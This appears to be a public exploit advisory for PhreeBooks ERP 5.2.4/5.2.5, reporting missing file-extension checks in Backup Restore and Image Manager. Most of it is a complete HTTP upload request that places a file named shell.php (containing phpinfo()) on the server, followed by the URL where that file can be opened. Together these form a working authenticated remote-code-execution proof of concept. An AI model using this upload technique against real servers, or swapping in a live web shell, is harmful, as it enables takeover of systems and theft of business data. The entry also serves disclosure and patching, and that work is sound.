# Exploit Title: PhreeBooks ERP 5.2.5 - Remote Command Execution # Date: 2020-05-01 # Author: Besim ALTINOK # Vendor Homepage: https://www.phreesoft.com/ # Software Link: https://sourceforge.net/projects/phreebooks/ # Version: v5.2.4, v5.2.5 # Tested on: Xampp # Credit: İsmail BOZKURT ------------------------------------------------------------------------------------- There are no file extension controls on Image Manager (5.2.4) and on Backup Restore. If an authorized user is obtained, it is possible to run a malicious PHP file on the server. -------------------------------------------------------------------------------------- One of the Vulnerable File: (backup.php) ----------------------------------------- RCE PoC (Upload Process) -------------------------------------------------------------------------------------- POST /pblast/index.php?&p=bizuno/backup/uploadRestore HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 ********************* Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/pblast/index.php?&p=bizuno/backup/managerRestore X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------39525038724866743160620170 Content-Length: 231 DNT: 1 Connection: close Cookie: ************************************************** -----------------------------39525038724866743160620170 Content-Disposition: form-data; name="fldFile"; filename="shell.php" Content-Type: text/php <? phpinfo(); ?> -----------------------------39525038724866743160620170-- Shell directory: ------------------------------- - http://localhost/pblast/myFiles/backups/shell.php